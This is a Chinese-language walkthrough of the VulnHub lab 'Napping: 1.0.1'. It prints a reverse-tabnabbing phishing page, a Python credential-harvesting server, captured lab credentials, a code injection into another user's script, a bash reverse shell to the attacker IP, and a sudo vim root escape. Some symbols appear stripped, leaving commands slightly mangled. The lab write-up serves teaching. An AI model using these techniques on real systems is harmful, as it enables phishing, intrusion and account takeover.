Napping: 1.0.1靶场攻略 靶场Napping: 1.0.1 ~ VulnHub说明因为不会这道题的解法看了大家的攻略复现过程中发现了一些问题用ai等工具改进后得出 结果。问题具体表现为网上普遍的解法用nc lvp 8888 和python -m http.server 到8000端口后靶机会无法post成功因为根据同源策略由8000端口转换为8888端口后会向8888端口发送请求头nc监听无法回应靶机只能转向8000端口发送post请求而http中没有post功能会出现503报错。以下是具体攻略,只讲解过程有不会的代码请自行ai。环境介绍虚拟机VirtualBox靶机ip192.168.86.8攻击机ip: 192.168.86.4kali连接方式NAT网络一、信息搜集扫描局域网获得靶机iparp-scan -l找到ip为192.168.86.8。用namp扫描开放端口nmap -A -p 1-65535 192.168.86.822 ssh端口和80 默认端口开着。访问目录没结果不列出了我们直接下一步访问浏览器。二、漏洞利用打开 http://192.168.86.8/注册一个账户登录。您好管理员欢迎来到我们的免费博客推广网站。 请提交你的链接以便我们开始审核。所有链接都会由管理员进行核验。意思就是我们提交的网站他管理员会登录我们就可以使用钓鱼链接提交网站。首先我们要制作自己的钓鱼脚本B.htmlscript if(window.opener){ window.opener.location.replace(http://192.168.86.4:8000/c.html); } /script意思是打开就会跳转到我们设置的仿靶机的登录网站。然后直接查看登录页面的源代码制作c.html!DOCTYPE html html langen head meta charsetUTF-8 titleLogin/title link relstylesheet hrefhttps://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css style body{ font: 14px sans-serif; } .wrapper{ width: 360px; padding: 20px; } /style /head body div classwrapper h2Login/h2 pPlease fill in your credentials to login./p form action/ methodpost div classform-group labelUsername/label input typetext nameusername classform-control value span classinvalid-feedback/span /div div classform-group labelPassword/label input typepassword namepassword classform-control span classinvalid-feedback/span /div div classform-group input typesubmit classbtn btn-primary valueLogin /div pDont have an account? a hrefregister.phpSign up now/a./p /form /div /body /html注意把表格提交位置这个改一下form action/ methodpost再写一个server.pyfrom http.server import HTTPServer, BaseHTTPRequestHandler import os class Handler(BaseHTTPRequestHandler): def do_GET(self): path self.path.lstrip(/) if os.path.exists(path): with open(path, rb) as f: data f.read() self.send_response(200) self.send_header(Content-Type, text/html;charsetutf-8) self.end_headers() self.wfile.write(data) else: self.send_response(404) self.end_headers() def do_POST(self): length int(self.headers[Content-Length]) data self.rfile.read(length).decode() print(\n 捕获登录凭证 ) print(data) print(\n) self.send_response(200) self.send_header(Content-Type, text/html;charsetutf-8) self.end_headers() self.wfile.write(h3登录成功请稍后/h3.encode(utf-8)) if __name__ __main__: server HTTPServer((0.0.0.0, 8000), Handler) print(服务启动 0.0.0.0:8000) server.serve_forever()把他们放kali的/var/www/html里放不进去的话右键open as root输入密码就行了。然后运行server.pypython3 server.py这里稍微讲解一下为什么会这样因为http没有post请求所以需要用python脚本建立一个post方式这样我们建立的http回话才能用post传递。这里比较抽象可以结合别人的攻略还有开头我说的问题一起阅读更方便理解。具体是这样的得到账号密码用户名daniel密码Cughtm3napping123用ssh登录ssh daniel192.168.86.8如果有问题 就输入yes然后输入密码Cughtm3napping123三、提权用id查看当前所在的用户组发现administrators查找administrators下的可执行文件find / -group administrators 2/dev/null然后往里塞两行代码让他打开shell.sh文件。import os os.system(/usr/bin/bash /home/daniel/shell.sh)用vim 打开这个python.pyvim /home/adrian/query.pyi插入写完了之后按ESC然后输入:wq!回车保存然后再写shell.shvim /home/daniel/shell.shbash -c bash -i /dev/tcp/192.168.86.4/1234 01完成后用kali监听ncnc -lvpp 1234sudo -l列出当前用户所有 sudo 权限发现vim用vim提权sudo /usr/bin/vim -c :!/bin/sh这回就是root了找到root所属文件夹。cd /root ls cat root.txtAdmins just cant stay awake tsk tsk tsk结果是这个。